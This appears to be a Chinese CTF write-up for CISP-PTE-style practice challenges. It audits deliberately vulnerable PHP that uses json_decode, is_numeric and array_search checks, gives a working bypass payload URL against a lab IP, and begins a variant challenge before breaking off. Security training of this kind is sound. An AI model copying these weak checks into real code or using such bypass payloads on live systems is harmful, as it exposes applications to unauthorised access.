页面显示
抓个包看一下,发现ctfer的base64编码为上面的一串字符
尝试用admin用户登录
右边即可看到flag
代码审计
<?php
show_source(__FILE__);
$v1 = 0; //赋值
$v2 = 0;
$a = (array)json_decode(@$_GET['w']); #把json格式的数据传入
#例:$json = '{"foo-bar":12345}';
if (is_array($a)) { #判断是否为数组
is_numeric(@$a["bar1"]) ? die("nope") : NULL; #判断是否为纯数字,是的话出发die函数,否则为空
if (@$a["bar1"]) {
($a["bar1"] > 2020) ? $v1 = 1 : NULL; #如果bar1大于2020,v1 = 1
}
if (is_array(@$a["bar2"])) { #如果bar2为数组
if (count($a["bar2"]) !== 5 OR !is_array($a["bar2"][0]))//bar2的元素不能为5且索引0不是数组,触发die函数
die("nope");
$pos = array_search("cisp-pte", $a["bar3"]); #查找bar3中cisp-pte
$pos === false ? die("nope") : NULL; #如果有,返回null
foreach ($a["bar2"] as $key => $val) { #键值对循环bar2
$val === "cisp-pte" ? die("nope") : NULL;
}
$v2 = 1;
}
}
if ($v1 && $v2) { #如果v1,v2同时满足等于1则打印key.php
include("key.php");
echo $key;
}
?>
payload : http://172.30.97.10/Tkitn/1.php?w={"bar1":[2021],"bar2":[[1],2,3,4,5],"bar3":["cisp-pte"]}
重点:绕过is_numeric
变形题
<?php
show_source(__FILE__);
$v1 = 0;
$v2 = 0;
$a = (array)json_decode(@$_GET['w']);
if (is_array($a)) {
is_numeric(@$a["bar1"]) ? die("nope") : NULL;
if (@$a["bar1"]) {
($a["bar1"] > 2020) ? $v1 = 1 : NULL;
}
if (is_array(@$a["bar2"])) {
if (count($a["bar2"]) !== 5 OR !is_array($a["bar2"][0]))
die("nope");
$pos = array_search("cisp-pte", $a["bar2"]);
$pos === false ? die("nope") : NULL;
foreach ($a["bar2"] as $key => $val) {
$val === "cisp-pte" ? die("nope") : NULL;
}
$v2 = 1;
}
}
if ($v1 && $v2) {
include("key.php");
echo $key;
}
?>
因为上面array_search()要求必须要有"cisp-pte",但是后面又不让出现这个值